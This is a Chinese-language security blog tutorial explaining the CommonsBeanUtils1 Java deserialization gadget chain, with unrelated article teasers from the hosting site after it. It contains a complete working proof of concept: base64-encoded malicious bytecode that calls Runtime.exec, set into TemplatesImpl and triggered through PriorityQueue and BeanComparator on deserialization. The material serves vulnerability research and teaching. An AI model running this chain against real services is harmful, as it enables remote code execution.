【java安全】CommonsBeanUtils1

文章目录

    • 【java安全】CommonsBeanUtils1
      • 前言
      • Apache Commons Beanutils
      • BeanComparator
      • 如何调用`BeanComparator#compare()`方法?
      • 构造POC
        • 完整POC
      • 调用链

【java安全】CommonsBeanUtils1

前言

在之前我们学习了java.util.PriorityQueue,它是java中的一个优先队列,队列的每个元素都有优先级,在反序列化这个对象的时候,为了保证队列顺序,会将队列中的元素进行排序,从而调用了java.io.Comparator接口的compare()方法,进而执行恶意反序列化操作

我们能不能找到除了之前提到的TransformingComparator类以外的其他可以利用的java.util.Comparator对象?我们需要了解一下Commons Beanuitls

Apache Commons Beanutils

在找可用的Comparator之前,我们需要知道一下Apache Commons Beanutils,它是Apache Commons工具集下的一个项目,提供了对java类对象(javaBean)的一些操作方法

什么是javaBean?

final public class Cat { private String name = "catalina";public String getName() { return name;}public void setName(String name) { this.name = name;}
}

javaBean就是一种标准化的java对象,成员变量为private,提供了对成员变量的getter()setter()方法,符合驼峰命名法

Commons Beanutils中提供了一个静态方法PropertyUtils.getProperty()

public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {return PropertyUtilsBean.getInstance().getProperty(bean, name);}

这个方法可以可以调用任意javaBean对象的getter()方法

例如:

PropertyUtils.getProperty(new Cat(),'name')

这个方法会调用Cat对象的getName()方法,使用该方法可以调用任意对象的getter方法

BeanComparator

我们上文说想要找到其他的实现java.util.Comparator的类

commons-beanutils中有一个BeanComparator类:

先看看构造方法:

public BeanComparator() {this((String)null);}public BeanComparator(String property) {this(property, ComparableComparator.getInstance());
}public BeanComparator(String property, Comparator<?> comparator) {this.setProperty(property);if (comparator != null) {this.comparator = comparator;} else {this.comparator = ComparableComparator.getInstance();}}

构造方法可以为:property属性赋值,这个很重要后面会用到

然后看看compare()方法:

package org.apache.commons.beanutils;public class BeanComparator<T> implements Comparator<T>, Serializable {public int compare(T o1, T o2) {if (this.property == null) {return this.internalCompare(o1, o2);} else {try {Object value1 = PropertyUtils.getProperty(o1, this.property);Object value2 = PropertyUtils.getProperty(o2, this.property);return this.internalCompare(value1, value2);} catch (IllegalAccessException var5) {throw new RuntimeException("IllegalAccessException: " + var5.toString());} catch (InvocationTargetException var6) {throw new RuntimeException("InvocationTargetException: " + var6.toString());} catch (NoSuchMethodException var7) {throw new RuntimeException("NoSuchMethodException: " + var7.toString());}}}}

我们注意一下它的compare(T o1, T o2)方法,当property==null时,不会调用PropertyUtils.getProperty()

if (this.property == null) {return this.internalCompare(o1, o2);
}

PropertyUtils.getProperty()

Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);

它会去调用o1、o2对象的名为property的属性值的getter方法

这里很重要,加入o1TemplatesImpl对象的话这里是可以构造反序列化利用链的

我们先来回顾一下前面TemplatesImpl中的调用链:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

这里的getOutputProperties()就是getter方法的形式,并且它会调用newTransformer()触发恶意字节码执行。因此,如果我们PropertyUtils.getProperty(o1, this.property)第一个形参传入:TemplatesImpl对象,并且第二个参数property传入值outputProperties

那么就会调用TemplatesImpl#getOutputProperties()方法了

我们可以简单测试一下:

我们先构造一个恶意字节码的类HelloTemplatesImpl:(注意需要继承AbstractTranslet,这样才有效)

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;public class HelloTemplatesImpl extends AbstractTranslet {public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public HelloTemplatesImpl() throws IOException {Runtime.getRuntime().exec("calc"); //构造对象会弹出计算器}}

我们将其编译为字节码并且base64编码一下

然后编写利用链:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.Base64;public class CommonsBeanUtils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{bytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());BeanComparator beanComparator = new BeanComparator("outputProperties");beanComparator.compare(obj,null);}
}

image-20230802163106973

确实弹出了计算器,说明这是对的

如何调用BeanComparator#compare()方法?

我们这里可以继续使用PriorityQueue类,它的readObject()方法可以触发排序等函数,最终调用comparator变量的compare() 方法,并且形参传入TemplatesImpl对象(注意讲BeanComparatorproperty设置为outputProperties

PriorityQueue#siftDownUsingComparator()

comparator.compare((E) c, (E) queue[right]) > 0)

当反序列化时调用PriorityQueue#readObject()方法,最终调用comparator#compare(),然后调用TemplatesImpl#getOutputProperties()方法

构造POC

首先常规构造TemplatesImpl对象:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后构造BeanComparator类,我们先不为property赋值,防止提前调用PropertyUtils.getProperty():

BeanComparator comparator = new BeanComparator();

然后创建PriorityQueue,队列大小为2,将comparator成员变量赋值为BeanComparator对象:

PriorityQueue queue = new PriorityQueue(2, comparator);

然后添加2个无关紧要的值进queue中(之所以这么做是因为防止add()提前触发comparator.compare())

queue.add(1);
queue.add(1);

添加完成之后我们再将queue的值(用来给compare方法传入TemplatesImpl对象)以及BeanComparatorproperty赋值为outputProperties

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

完整POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;public class CommonsBeanUtils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{bytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());BeanComparator comparator = new BeanComparator();PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(1);setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}

调用可以弹出计算器:

image-20230802173336884

调用链

PriorityQueue#readObject()heapify();siftDown(i, (E) queue[i]);siftDownUsingComparator(k, x);BeanComparator#compare(TemplatesImplObj,)PropertyUtils.getProperty(TemplatesImplObj, "outputProperties")TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()...defindClass()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/79738.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MyCat水平分表

1.水平拆分案例场景 2.MyCat配置 这个表只是在 schema.xml配置的逻辑表&#xff0c;在具体的数据库里面是没有的 根据id的模确定数据存在哪个节点上&#xff01;&#xff01;

数据结构与算法基础到高级,直击BTAJ,刷爆Letcode

数据结构与算法基础到高级&#xff0c;直击BTAJ&#xff0c;刷爆Letcode &#x1f384;前序补充&#x1f355;异或&#x1f354;对数器 &#x1f384;时间、空间复杂度&#x1f35f;空间复杂度基本概念&#x1f32d;时间复杂度基本概念&#x1f37f;基本的排序算法的时间复杂度…

在linux系统上安装Nginx

1、关闭防火墙 systemctl disable firewalld.service 2、上传压缩包并解压到目标文件 cd /usr/local tar -zxvf nginx-1.22.0.tar.gz 3、安装Nginx相关依赖 yum install -y gcc-c zlib zlib-developenssl openssl-devel pcre pcre-devel 4、安装完毕后&#xff0c;进入ng…

MapTR论文笔记

MAPTR: STRUCTURED MODELING AND LEARNING FOR ONLINE VECTORIZED HD MAP CONSTRUCTION 目的 传统高精地图 通过一些离线的基于 SLAM 的方法生成&#xff0c;需要复杂的流程以及高昂的维护费用。基于 bev 分割的建图方法&#xff0c;缺少向量化 实例级的信息&#xff0c;比如…

3年经验,面试测试岗只会功能测试开口要求18K,令我陷入沉思。

由于朋友临时有事&#xff0c; 所以今天我代替朋友进行一次面试&#xff0c;公司需要招聘一位自动化测试工程师&#xff0c;我以很认真负责的态度完成这个过程&#xff0c; 大概近30分钟。 主要是技术面试&#xff0c; 在近30分钟内&#xff0c; 我与被面试者是以交流学习的方式…

Spring Boot3.0(一):入门篇

什么是 Spring Boot Spring Boot 是由 Pivotal 团队提供的全新框架&#xff0c;其设计目的是用来简化新 Spring 应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置&#xff0c;从而使开发人员不再需要定义样板化的配置。 用我的话来理解&#xff0c;就是 Spring…

nginx的优化和防盗链 重要!!!

实验一、隐藏版本号 要把nginx的版本号隐藏起来&#xff0c;防止恶意攻击 方法一&#xff1a;修改配置文件 在http模块中加入一个命令 server_token off&#xff1b; 过程&#xff1a; 备份&#xff0c;改配置文件一定要备份 修改配置文件 在http模块中添加 server_tokens …

MySQL插入数据的方法

插入数据方法&#xff1a; 1.insert into 表 values(value1, value2, value3....) 2.insert into 表 (字段1&#xff0c; 字段3&#xff0c; 字段5) values(value1, value2, value3) 3.insert into 表 [(字段1&#xff0c; 字段2&#xff0c; 字段3....)] values(value1, val…

string类函数--深入浅出了解

目录 1.为什么学习string类1.1C语言中的字符串1.2OJ题中的优势 2.标准库中的string类3.string类的常用接口函数3.1string类对象的常见构造3.2string类对象的容量操作3.3string类对象的访问及遍历操作3.4string类的修改操作3.5string类的非成员函数 总结 1.为什么学习string类 …

JMeter命令行执行+生成HTML报告

1、为什么用命令行模式 使用GUI方式启动jmeter&#xff0c;运行线程较多的测试时&#xff0c;会造成内存和CPU的大量消耗&#xff0c;导致客户机卡死&#xff1b; 所以一般采用的方式是在GUI模式下调整测试脚本&#xff0c;再用命令行模式执行&#xff1b; 命令行方式支持在…

Connection reset原因分析及解决思路

Connection reset原因分析及解决思路 我们在开发过程中经常会出现Connection reset问题&#xff0c;包括http调用&#xff0c;数据库连接等场景。出现Connection reset的原因很多&#xff0c;本文从tcp层面简单介绍下Connection reset出现的原因和问题&#xff0c;以及在实际开…

Golang 包详解以及go mod

Golang 中包的介绍和定义 包(package)是多个 Go 源码的集合,是一种高级的代码复用方案,Go 语言为我们提供了 很多内置包,如 fmt、strconv、strings、sort、errors、time、encoding/json、os、io 等。 Golang 中的包可以分为三种:1、系统内置包 2、自定义包 3、第三方包…

指令重排相关

指令流水线所带来的一些问题 结构冒险 流水线中出现硬件资源竞争 数据冒险 流水线中后面的指令需要等待前面指令完成数据的读写 控制冒险 流水线需要个怒前面指令的执行结果来决定下一步去哪儿之行 为了解决指令流水线的数据冒险所带来的停顿、CPU 搞了个乱序执行。 在遇到数…

Permute 3 for mac音视频格式转换

Permute是一款Mac平台上的媒体格式转换软件&#xff0c;由Chaotic Software开发。它可以帮助用户快速地将各种音频、视频和图像文件转换成所需格式&#xff0c;并提供了一些常用工具以便于用户进行编辑和处理。 Permute的主要特点包括&#xff1a; - 支持大量格式&#xff1a;支…

通过cpolar内网穿透发布网页测试

通过内网穿透发布网页测试 文章目录 通过内网穿透发布网页测试 对于网站开发者来说&#xff0c;对完成的网页进行测试十分必要&#xff0c;同时还要在测试过程中充分采纳委托制作方的意见&#xff0c;及时根据甲方意见进行修改&#xff0c;但在传统的测试方式中&#xff0c;必须…

以太网帧格式与吞吐量计算

以太网帧结构 帧大小的定义 以太网单个最大帧 6&#xff08;目的MAC地址&#xff09; 6&#xff08;源MAC地址&#xff09; 2&#xff08;帧类型&#xff09; 1500{IP数据包[IP头&#xff08;20&#xff09;DATA&#xff08;1480&#xff09;]} 4&#xff08;CRC校验&#xff…

认识FFMPEG框架

FFMPEG全称: Fast Forward Moving Picture Experts Group (MPEG:动态图像专家组) ffmpeg相关网站: git://source.ffmpeg.org/ffmpeg.git http://git.videolan.org/?pffmpeg.git https://github.com/FFmpeg/FFmpeg FFMPEG框架基本组件: AVFormat , AVCodec, AVDevice, AVFil…

MaxCompute发布按量付费闲时版,计算成本最高节省66.66%!

在大数据不断在追求计算效率和成本优化的背景下&#xff0c;阿里云云原生大数据计算服务 MaxCompute宣布推出按量付费闲时版&#xff0c;用户可选择用此版本完成时间不敏感的作业&#xff0c;从而降低计算成本&#xff0c;同等作业类型的计算费用与按量付费标准版相比&#xff…

【云原生】Docker中容器管理常用所有命令

1.docker 容器创建流程 2.容器运行本质 docker run [OPTIONS] IMAGE [COMMAND] [ARG...] 创建容器基本选项&#xff1a;--name&#xff1a;为容器命名 -i&#xff1a;交互式创建容器 -d&#xff1a;后台创建容器 -t&#xff1a;为容器分配伪终端 Docker 容器存在的意义就是为…

vscode自动添加注释说明

1. 安装vscode 双击安装程序,默认安装即可(如:VSCodeSetup-x64-1.70.2.exe) 2. 安装doxygen文档生成插件 1> 打开vscode软件,点击左侧插件管理菜单 2> 点击右上角’…‘按钮,选择’Install from VSIX’(联网状态可以直接搜索doxygen下载安装) 3> 选择doxygen离线安装…